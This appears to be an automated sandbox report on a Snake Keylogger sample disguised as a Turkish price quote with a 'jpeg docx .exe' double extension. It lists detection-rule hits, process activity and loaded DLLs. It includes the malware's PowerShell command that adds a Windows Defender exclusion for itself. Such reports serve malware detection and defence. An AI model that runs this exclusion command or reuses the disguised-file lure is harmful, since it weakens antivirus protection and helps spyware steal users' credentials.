Source: C:\Users\user\Desktop\fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .exe	Code function: 5_2_06C44A00	5_2_06C44A00

Source: C:\Users\user\Desktop\fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .exe

Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 320 -s 1832

Source: fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .exe, 00000000.00000002.1518104065.000000000093E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameclr.dllT vs fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .exe
Source: fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .exe, 00000000.00000002.1519490045.00000000034C1000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameRemington.exe4 vs fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .exe
Source: fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .exe, 00000000.00000002.1522079412.0000000004EA0000.00000004.08000000.00040000.00000000.sdmp	Binary or memory string: OriginalFilenameCaptive.dll" vs fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .exe
Source: fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .exe, 00000000.00000002.1524429389.0000000006BF6000.00000004.08000000.00040000.00000000.sdmp	Binary or memory string: OriginalFilenameMontero.dll8 vs fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .exe
Source: fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .exe, 00000000.00000002.1518653300.0000000002574000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameRemington.exe4 vs fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .exe
Source: fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .exe, 00000000.00000002.1518653300.00000000025C4000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameCaptive.dll" vs fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .exe
Source: fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .exe, 00000000.00000002.1519490045.0000000003758000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameMontero.dll8 vs fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .exe
Source: fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .exe, 00000005.00000002.3720441314.0000000007059000.00000004.00000010.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameUNKNOWN_FILET vs fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .exe
Source: fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .exe, 00000005.00000002.3708001615.0000000000402000.00000040.00000400.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameRemington.exe4 vs fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .exe
Source: fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .exe	Binary or memory string: OriginalFilenameKxTQ.exe8 vs fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .exe

Source: fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: 5.2.fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 5.2.fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: MAL_Envrial_Jan18_1 date = 2018-01-21, hash2 = 9edd8f0e22340ecc45c5f09e449aa85d196f3f506ff3f44275367df924b95c5d, hash1 = 9ae3aa2c61f7895ba6b1a3f85fbe36c8697287dc7477c5a03d32cf994fdbce85, author = Florian Roth, description = Detects Encrial credential stealer malware, reference = https://twitter.com/malwrhunterteam/status/953313514629853184, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 5.2.fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
Source: 0.2.fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .exe.355a768.4.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 0.2.fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .exe.355a768.4.unpack, type: UNPACKEDPE	Matched rule: MAL_Envrial_Jan18_1 date = 2018-01-21, hash2 = 9edd8f0e22340ecc45c5f09e449aa85d196f3f506ff3f44275367df924b95c5d, hash1 = 9ae3aa2c61f7895ba6b1a3f85fbe36c8697287dc7477c5a03d32cf994fdbce85, author = Florian Roth, description = Detects Encrial credential stealer malware, reference = https://twitter.com/malwrhunterteam/status/953313514629853184, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 0.2.fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .exe.355a768.4.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
Source: 0.2.fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .exe.359d188.3.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 0.2.fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .exe.359d188.3.unpack, type: UNPACKEDPE	Matched rule: MAL_Envrial_Jan18_1 date = 2018-01-21, hash2 = 9edd8f0e22340ecc45c5f09e449aa85d196f3f506ff3f44275367df924b95c5d, hash1 = 9ae3aa2c61f7895ba6b1a3f85fbe36c8697287dc7477c5a03d32cf994fdbce85, author = Florian Roth, description = Detects Encrial credential stealer malware, reference = https://twitter.com/malwrhunterteam/status/953313514629853184, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 0.2.fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .exe.359d188.3.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
Source: 0.2.fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .exe.359d188.3.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 0.2.fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .exe.359d188.3.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
Source: 0.2.fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .exe.355a768.4.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 0.2.fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .exe.355a768.4.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
Source: 00000005.00000002.3708001615.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 00000000.00000002.1519490045.00000000034C1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: Process Memory Space: fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .exe PID: 320, type: MEMORYSTR	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: Process Memory Space: fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .exe PID: 6368, type: MEMORYSTR	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23

Source: fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@7/11@3/3

Source: C:\Users\user\Desktop\fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .exe

File created: C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .exe.log

Jump to behavior

Source: C:\Users\user\Desktop\fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6444:120:WilError_03
Source: C:\Windows\SysWOW64\WerFault.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\WERReportingForProcess320
Source: C:\Users\user\Desktop\fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .exe	Mutant created: \Sessions\1\BaseNamedObjects\lEpeXavzyJVxriVLRFePJBBIOC

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_jboqdnpm.qai.ps1

Jump to behavior

Source: fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .exe

Static file information: TRID: Win32 Executable (generic) Net Framework (10011505/4) 49.83%

Source: C:\Users\user\Desktop\fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .exe

ReversingLabs: Detection: 71%

Source: unknown	Process created: C:\Users\user\Desktop\fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .exe "C:\Users\user\Desktop\fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .exe"
Source: C:\Users\user\Desktop\fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .exe"
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .exe	Process created: C:\Users\user\Desktop\fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .exe "C:\Users\user\Desktop\fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .exe"
Source: C:\Users\user\Desktop\fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 320 -s 1832
Source: C:\Users\user\Desktop\fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .exe"	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .exe	Process created: C:\Users\user\Desktop\fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .exe "C:\Users\user\Desktop\fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .exe"	Jump to behavior

Source: C:\Users\user\Desktop\fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .exe	Section loaded: windowscodecs.dll	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .exe	Section loaded: iconcodecservice.dll	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .exe	Section loaded: dwrite.dll	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .exe	Section loaded: mswsock.dll	Jump to behavior
